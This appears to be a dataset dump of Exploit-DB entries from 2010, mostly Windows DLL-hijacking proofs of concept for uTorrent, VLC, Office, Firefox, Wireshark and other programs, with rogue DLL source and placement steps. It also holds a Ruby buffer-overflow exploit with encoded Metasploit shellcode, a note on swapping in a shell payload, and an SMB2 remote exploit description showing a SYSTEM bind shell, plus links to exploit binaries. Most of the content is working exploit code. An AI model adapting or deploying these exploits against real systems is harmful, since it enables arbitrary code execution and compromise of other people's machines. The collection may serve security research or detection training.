QLWD/code_shield huggingface dataset:
标题: μTorrent (uTorrent) 2.0.3 - DLL Hijacking EDB-ID: 14748 CVE: 2010-3129 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: ###########################################################################
#
# Title:  uTorrent <=2.0.3 Dll Hijacking Local Exploits
# By:  Dr_IDE
# Tested: Windows 7RC
# Note:  These are additional DLL's with unsafe Load Paths
# Reference: http://www.exploit-db.com/exploits/14726/
#
############################################################################

If the payload .DLL file is renamed to any of these files and placed in the 
utorrent.exe directory, the payload will be executed with users' credentials.

 -userenv.dll

 -shfolder.dll
 
 -dnsapi.dll

 -dwmapi.dll

 -iphlpapi.dll

 -dhcpcsvc.dll

 -dhcpcsvc6.dll

 -rpcrtremote.dll

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14748.tar.gz (Dr_IDE.bind.dll.tar.gz)

#[pocoftheday.blogspot.com] URL: https://www.exploit-db.com/exploits/14748
标题: VideoLAN VLC Media Player 1.1.3 - 'wintab32.dll' DLL Hijacking EDB-ID: 14750 CVE: 2010-3124 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: Exploit Title: VLC Player DLL Hijack Vulnerability
Date: 25 Aug 2010
Author: Secfence
Version: VLC
Tested on: Windows XP

Place a .mp3 file and wintab32.dll in same folder and execute .mp3 file in
vlc player.

Code for wintab32.dll:

/*----------*/

/* wintab32.cpp */

#include "stdafx.h"
#include "dragon.h"

void init() {
MessageBox(NULL,"Pwned", "Pwned!",0x00000003);
}


BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}

/*----------*/


Exploit By:
Vinay Katoch
www.secfence.com URL: https://www.exploit-db.com/exploits/14750
标题: Adobe Dreamweaver CS4 - 'ibfs32.dll' DLL Hijacking EDB-ID: 14735 CVE: 2010-3132 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-24 漏洞利用脚本: /* 
Exploit Title: Adobe Dreamweaver CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: 10.0 Build 4117
Tested on: Windows 7 Ultimate x86
Vulnerable extensions: .asp .asa. aspx .php .php5 .cfm .tpl .asr .jsp (etc)
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "Dreamweaver DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
} URL: https://www.exploit-db.com/exploits/14735
标题: Microsoft Address Book 6.00.2900.5512 - 'wab32res.dll' DLL Hijacking EDB-ID: 14745 CVE: 2010-3147 2010-3143 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora , Anirban , Dinesh Arora
# Site : www.beenuarora.com

Exploit Title: Microsoft Address Book DLL Hijacking
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 , Microsoft Address Book 6.00.2900.5512
Vulnerable extensions: wab , p7c

Compile and rename to wab32res.dll, create a file in the same dir with one
of the following extensions:
.wab,p7c
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14745.zip URL: https://www.exploit-db.com/exploits/14745
标题: Adobe Dreamweaver CS5 11.0 build 4909 - 'mfc90loc.dll' DLL Hijacking EDB-ID: 14740 CVE: 2010-3132 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
# Exploit Title: Adobe Dreamweaver CS5 DLL Hijacking Exploit (mfc90loc.dll)
# Date: 25/08/2010
# Author: Bruno Filipe (diwr) http://digitalacropolis.us
# Software Link: http://www.adobe.com <http://www.bsplayer.org>
# Version: <= 11.0 build 4909
# Tested on: WinXP SP2, WinXP SP3
# Other Adobe CS5 products may be vulnerable too.
# Thx TheLeader ;)
#
----------------------------------------------------------------------------------------------------------
# This should work with any file handled by Dreamweaver (.php, .asp, etc)
# 1. gcc dllmain.c -o mfc90loc.dll
# 2. Put mfc90ptb.dll in the same directory of a file handled by Dw (EG:
anything.php)
# 3. You can generate a msfpayload DLL and spawn a shell, for example.
#
----------------------------------------------------------------------------------------------------------
*/

#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
} URL: https://www.exploit-db.com/exploits/14740
标题: Microsoft Visio 2003 - 'mfc71enu.dll' DLL Hijacking EDB-ID: 14744 CVE: 2010-3148 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /* 
Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora
Exploit Title: Microsoft Visio 2003 DLL Hijacking Exploit
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: .vtx

Compile and rename to mfc71enu.dll, create a file in the same dir with one of the following extensions:
.vtx
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14745.zip URL: https://www.exploit-db.com/exploits/14744
标题: Microsoft Vista - 'fveapi.dll' BitLocker Drive Encryption API Hijacking EDB-ID: 14751 CVE: 2010-3145 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: # Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora

/* 
Exploit Title: Microsoft Vista BitLocker Drive Encryption API Hijacking Exploit
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: .wbcat

Compile and rename to fveapi.dll, create a file in the same dir with one of the following extensions:
.wbcat


#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14751
标题: TeamMate Audit Management Software Suite - 'mfc71enu.dll' DLL Hijacking EDB-ID: 14747 CVE: 2010-3125 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora , Anirban ,Ganesha, Dinesh Arora
# Site : www.beenuarora.com

Exploit Title: TeamMate Audit Management Software Suite DLL Hijacking
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 , TeamMate Audit Management Software Suite v8.0
patch 2
Vulnerable extensions: tmx

Compile and rename to mfc71enu.dll, create a file in the same dir with one
of the following extensions:
.tmx
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14747.zip URL: https://www.exploit-db.com/exploits/14747
标题: TeamViewer 5.0.8703 - 'dwmapi.dll' DLL Hijacking EDB-ID: 14734 CVE: 2010-3128 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-24 漏洞利用脚本: /* 
Exploit Title: TeamViewer <= 5.0.8703 DLL Hijacking Exploit (dwmapi.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: 5.0.8703
Tested on: Windows XP SP3 En
Vulnerable extensions: .tvs .tvc
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "TeamViewer DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
} URL: https://www.exploit-db.com/exploits/14734
标题: Microsoft Office Groove 2007 - 'mso.dll' DLL Hijacking EDB-ID: 14746 CVE: 2011-0108 2010-3146 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: /* 
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora, Anirban ,Ganesha, Dinesh Arora
# Site : www.beenuarora.com

Exploit Title: Microsoft Office Groove 2007 DLL Hijacking 
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 , Microsoft Office Groove 2007
Vulnerable extensions: wab , p7c

Compile and rename to mso.dll.dll, create a file in the same dir with one of the following extensions:
.vcg , .gta
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14746.zip URL: https://www.exploit-db.com/exploits/14746
标题: Microsoft Windows 7 - 'wab32res.dll wab.exe' DLL Hijacking EDB-ID: 14733 CVE: 2010-3147 2010-3143 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-24 漏洞利用脚本: /*
Exploit Title: Microsoft Windows 7 wab.exe DLL Hijacking Exploit (wab32res.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Version: 6.1.7600 and prior
Tested on: Windows 7 x86 (6.1.7600)

There's a chance this one works with vista.

Instructions:
Compile and rename to wab32res.dll, create a file in the same dir with one of the following extensions:
.vcf / .p7c / .group / .contact

Double click & watch a sexy calculator pop =X

*Random noises* to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  evil();
  return 0;
} URL: https://www.exploit-db.com/exploits/14733
标题: μTorrent (uTorrent) 2.0.3 - 'plugin_dll.dll' DLL Hijacking EDB-ID: 14726 CVE: 2010-3129 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-24 漏洞利用脚本: /*
Exploit Title: uTorrent <= 2.0.3 DLL Hijacking Exploit (plugin_dll.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://www.utorrent.com/downloads
Version: 2.0.3 and prior
Tested on: Windows 7 x86 (6.1.7600)

Compile and rename to plugin_dll.dll, create a file in the same dir with one of the following extensions:
.torrent / .btsearch

Double click & watch a nice calculator pop =]

A nice post about DLL Hijacking by Yam Mesicka (hebrew):
http://www.mesicka.com/dll-hijacking-windows-hd-moore/

@avivra: glad to provide entertainment for you guys =D

*Even more shouts* to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14726
标题: Microsoft PowerPoint 2010 - 'pptimpconv.dll' DLL Hijacking EDB-ID: 14723 CVE: 2010-3142 2010-3141 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-24 漏洞利用脚本: /*
Exploit Title: Microsoft PowerPoint 2010 DLL Hijacking Exploit (pptimpconv.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://office.microsoft.com/en-us/powerpoint/
Version: 14.0.4760.1000
Tested on: Windows 7 x86 (6.1.7600)

Compile and rename to pptimpconv.dll, create a file in the same dir with one of the following extensions:
.odp / .pot / .potm / .potx / .ppa / .pps / .ppsm / .ppsx / .ppt / .pptm / .pptx / .pwz / .sldm / .sldx

This exploit does _not_ get triggered with the following file extensions:
.pothtml / .ppam / .ppthtml / .pptxml / .thmx

Double click & watch a nice calculator pop =]
*More shouts* to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void HrCreateConverter() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14723
标题: Microsoft Windows Movie Maker 2.6.4038.0 - 'hhctrl.ocx' DLL Hijacking EDB-ID: 14731 CVE: 2010-3967 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-24 漏洞利用脚本: /*
Exploit Title: Microsoft Windows Movie Maker <= 2.6.4038.0 DLL Hijacking Exploit (hhctrl.ocx)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://www.microsoft.com/downloads/details.aspx?FamilyID=d6ba5972-328e-4df7-8f9d-068fc0f80cfc&displaylang=en
Version: 2.6.4038.0 and prior
Tested on: Windows 7 x86 (6.1.7600)

There is a way more interesting bug there in which the program tries to load a driver file.
It's in investigation, but has a nice potential for a nastier vulnerability.
Meanwhile, enjoy =]

Instructions:
1. Create a file with the following extension: .mswmm
2. Compile this library and rename it to hhctrl.ocx
2. On the same directory of the .mswmm file, create a directory called: %SystemRoot%
3. Inside %SystemRoot%, create a directory called: System32
4. Move hhctrl.ocx into the System32 directory that you have just created
5. Open the .mswmm file and enjoy the fireworks =]

*Whispers* to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  evil();
  return 0;
} URL: https://www.exploit-db.com/exploits/14731
标题: Mozilla Firefox 3.6.8 - 'dwmapi.dll' DLL Hijacking EDB-ID: 14730 CVE: 2010-3131 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-24 漏洞利用脚本: /* 
Exploit Title: Firefox <= 3.6.8 DLL Hijacking Exploit [dwmapi.dll]
Date: August 24, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest Firefox v3.6.8
Tested on: Windows XP SP3 En
Vulnerable extensions: .htm .html .jtx .mfp
Greetz: Astalavista, OffSEC, Exploit-DB
*/


#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void CPAcquireContext() { pwn(); }
DllExport void DWMAPI_100() { pwn(); }
DllExport void DWMAPI_101() { pwn(); }
DllExport void DwmEnableComposition() { pwn(); }
DllExport void DWMAPI_103() { pwn(); }
DllExport void DWMAPI_104() { pwn(); }
DllExport void DWMAPI_105() { pwn(); }
DllExport void DWMAPI_106() { pwn(); }
DllExport void DWMAPI_107() { pwn(); }
DllExport void DWMAPI_108() { pwn(); }
DllExport void DWMAPI_109() { pwn(); }
DllExport void DWMAPI_110() { pwn(); }
DllExport void DWMAPI_111() { pwn(); }
DllExport void DWMAPI_112() { pwn(); }
DllExport void DWMAPI_113() { pwn(); }
DllExport void DWMAPI_115() { pwn(); }
DllExport void DWMAPI_116() { pwn(); }
DllExport void DWMAPI_117() { pwn(); }
DllExport void DWMAPI_118() { pwn(); }
DllExport void DWMAPI_119() { pwn(); }
DllExport void DWMAPI_120() { pwn(); }
DllExport void DwmAttachMilContent() { pwn(); }
DllExport void DwmDefWindowProc() { pwn(); }
DllExport void DwmDetachMilContent() { pwn(); }
DllExport void DwmEnableBlurBehindWindow() { pwn(); }
DllExport void DwmEnableMMCSS() { pwn(); }
DllExport void DwmExtendFrameIntoClientArea() { pwn(); }
DllExport void DwmFlush() { pwn(); }
DllExport void DwmGetColorizationColor() { pwn(); }
DllExport void DwmGetCompositionTimingInfo() { pwn(); }
DllExport void DwmGetGraphicsStreamClient() { pwn(); }
DllExport void DwmGetGraphicsStreamTransformHint() { pwn(); }
DllExport void DwmGetTransportAttributes() { pwn(); }
DllExport void DwmGetWindowAttribute() { pwn(); }
DllExport void DwmIsCompositionEnabled() { pwn(); }
DllExport void DwmModifyPreviousDxFrameDuration() { pwn(); }
DllExport void DwmQueryThumbnailSourceSize() { pwn(); }
DllExport void DwmRegisterThumbnail() { pwn(); }
DllExport void DwmSetDxFrameDuration() { pwn(); }
DllExport void DwmSetPresentParameters() { pwn(); }
DllExport void DwmSetWindowAttribute() { pwn(); }
DllExport void DwmUnregisterThumbnail() { pwn(); }
DllExport void DwmUpdateThumbnailProperties() { pwn(); }

int pwn()
{
  MessageBox(0, "Firefox DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
} URL: https://www.exploit-db.com/exploits/14730
标题: MicroP 0.1.1.1600 - 'mppl' Local Buffer Overflow EDB-ID: 14720 CVE: 2010-5299 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-23 漏洞利用脚本: # Exploit Title: MicroP malicious MPPL Buffer Overflow
# Date: 08/23/10
# Author: james [AT] learnsecurityonline [DOT] com
# Software Link: http://sourceforge.net/projects/microp/
# Version: 0.1.1.1600
# Tested on: Windows XP SP3 EN

#! /usr/bin/evn ruby


# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
boom =      "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70"
boom << "\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31"
boom << "\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4"
boom << "\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23"
boom << "\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32"
boom << "\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29"
boom << "\x21\xe7\x96\x60\xf5\x71\xca\x06\x35"
boom << "\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0"
boom << "\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8"
boom << "\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3"
boom << "\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
boom << "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5"
boom << "\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05"
boom << "\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51"
boom << "\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78"
boom << "\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b"
boom << "\xca"

spl0it = boom + "\x42" * 1132

EIP = [0x10022b63].pack('V') # call eax from base.dll

File.open("exploit.mppl", 'w') do |b|
 b.write spl0it + EIP
end URL: https://www.exploit-db.com/exploits/14720
标题: Opera 10.61 - 'dwmapi.dll' DLL Hijacking EDB-ID: 14732 CVE: 2010-5227 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-24 漏洞利用脚本: /* 
Exploit Title: Opera DLL Hijacking Exploit ( dwmapi.dll )
Date: 24/08/2010
Author: Nicolas Krassas 
http://twitter.com/Dinosn
Version: Opera 10.61
Tested on: Windows XP SP3
The code is based on the exploit from "TheLeader"
Vulnerable extensions: .htm .mht .mhtml .xht .xhtm .xhtl
dwmapi.dll is used in other applications too
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void  DwmDefWindowProc() { evil(); }
DLLIMPORT void  DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void  DwmEnableComposition() { evil(); }
DLLIMPORT void  DwmEnableMMCSS() { evil(); }
DLLIMPORT void  DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void  DwmGetColorizationColor() { evil(); }
DLLIMPORT void  DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void  DwmGetWindowAttribute() { evil(); }
DLLIMPORT void  DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void  DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void  DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void  DwmRegisterThumbnail() { evil(); }
DLLIMPORT void  DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void  DwmSetPresentParameters() { evil(); }
DLLIMPORT void  DwmSetWindowAttribute() { evil(); }
DLLIMPORT void  DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void  DwmUpdateThumbnailProperties() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14732
标题: Wireshark 1.2.10 - 'airpcap.dll' DLL Hijacking EDB-ID: 14721 CVE: 2010-3133 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-24 漏洞利用脚本: /*
Exploit Title: Wireshark <= 1.2.10 DLL Hijacking Exploit (airpcap.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://www.wireshark.org/download.html
Version: 1.2.10 and prior
Tested on: Windows 7 x86 (6.1.7600)

As seen on Metasploit blog (rock on HDM!): 
http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html

Probably gonna see alot of these bugs getting exploited in the near future..

Compile and rename to airpcap.dll, create a file in the same dir with one of the following extensions.

Default Wireshark file extension associations:
.5vw / .acp / .apc / .atc / .bfr / .cap / .enc / .erf / .fdc / .pcap / .pcapng /
.pkt / .rf5 / .snoop / .syc / .tpc / .tr1 / .trace / .trc / .wpc / .wpz

Double click & watch a nice calculator pop =]
Shouts to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void AirpcapGetDeviceList() { evil(); }
DLLIMPORT void AirpcapFreeDeviceList() { evil(); }
DLLIMPORT void AirpcapOpen() { evil(); }
DLLIMPORT void AirpcapClose() { evil(); }
DLLIMPORT void AirpcapGetLinkType() { evil(); }
DLLIMPORT void AirpcapSetLinkType() { evil(); }
DLLIMPORT void AirpcapSetKernelBuffer() { evil(); }
DLLIMPORT void AirpcapSetFilter() { evil(); }
DLLIMPORT void AirpcapGetMacAddress() { evil(); }
DLLIMPORT void AirpcapSetMinToCopy() { evil(); }
DLLIMPORT void AirpcapGetReadEvent() { evil(); }
DLLIMPORT void AirpcapRead() { evil(); }
DLLIMPORT void AirpcapGetStats() { evil(); }
DLLIMPORT void AirpcapTurnLedOn() { evil(); }
DLLIMPORT void AirpcapTurnLedOff() { evil(); }
DLLIMPORT void AirpcapGetDeviceChannel() { evil(); }
DLLIMPORT void AirpcapSetDeviceChannel() { evil(); }
DLLIMPORT void AirpcapGetFcsPresence() { evil(); }
DLLIMPORT void AirpcapSetFcsPresence() { evil(); }
DLLIMPORT void AirpcapGetFcsValidation() { evil(); }
DLLIMPORT void AirpcapSetFcsValidation() { evil(); }
DLLIMPORT void AirpcapGetDeviceKeys() { evil(); }
DLLIMPORT void AirpcapSetDeviceKeys() { evil(); }
DLLIMPORT void AirpcapGetDecryptionState() { evil(); }
DLLIMPORT void AirpcapSetDecryptionState() { evil(); }
DLLIMPORT void AirpcapStoreCurConfigAsAdapterDefault() { evil(); }
DLLIMPORT void AirpcapGetVersion() { evil(); }
DLLIMPORT void AirpcapGetDriverDecryptionState() { evil(); }
DLLIMPORT void AirpcapSetDriverDecryptionState() { evil(); }
DLLIMPORT void AirpcapGetDriverKeys() { evil(); }
DLLIMPORT void AirpcapSetDriverKeys() { evil(); }
DLLIMPORT void AirpcapSetDeviceChannelEx() { evil(); }
DLLIMPORT void AirpcapGetDeviceChannelEx() { evil(); }
DLLIMPORT void AirpcapGetDeviceSupportedChannels() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
} URL: https://www.exploit-db.com/exploits/14721
标题: Microsoft Windows - 'srv2.sys' SMB Negotiate ProcessID Function Table Dereference (MS09-050) EDB-ID: 14674 CVE: 2009-3103 2009-2532 2009-2526 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-17 漏洞利用脚本: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
---------------------------------------------------------------------

Exploited by Piotr Bania // www.piotrbania.com
Exploit for Vista SP2/SP1 only, should be reliable!

Tested on:
Vista sp2 (6.0.6002.18005)
Vista sp1 ultimate (6.0.6001.18000)

Kudos for:
Stephen, HDM, Laurent Gaffie(bug) and all the mates i know, peace.
Special kudos for prdelka for testing this shit and all the hosters.


Sample usage
------------

> smb2_exploit.exe 192.167.0.5 45 0
> telnet 192.167.0.5 28876

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>

When all is done it should spawn a port TARGET_IP:28876


RELEASE UPDATE 08/2010:
----------------------
This exploit was created almost a year ago and wasnt modified from that time
whatsoever. The vulnerability itself is patched for a long time already so
i have decided to release this little exploit. You use it for your own
responsibility and im not responsible for any potential damage this thing
can cause. Finally i don't care whether it worked for you or not.

P.S the technique itself is described here:
http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html

===========================================================================
Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14674.zip (smb2_exploit_release.zip) URL: https://www.exploit-db.com/exploits/14674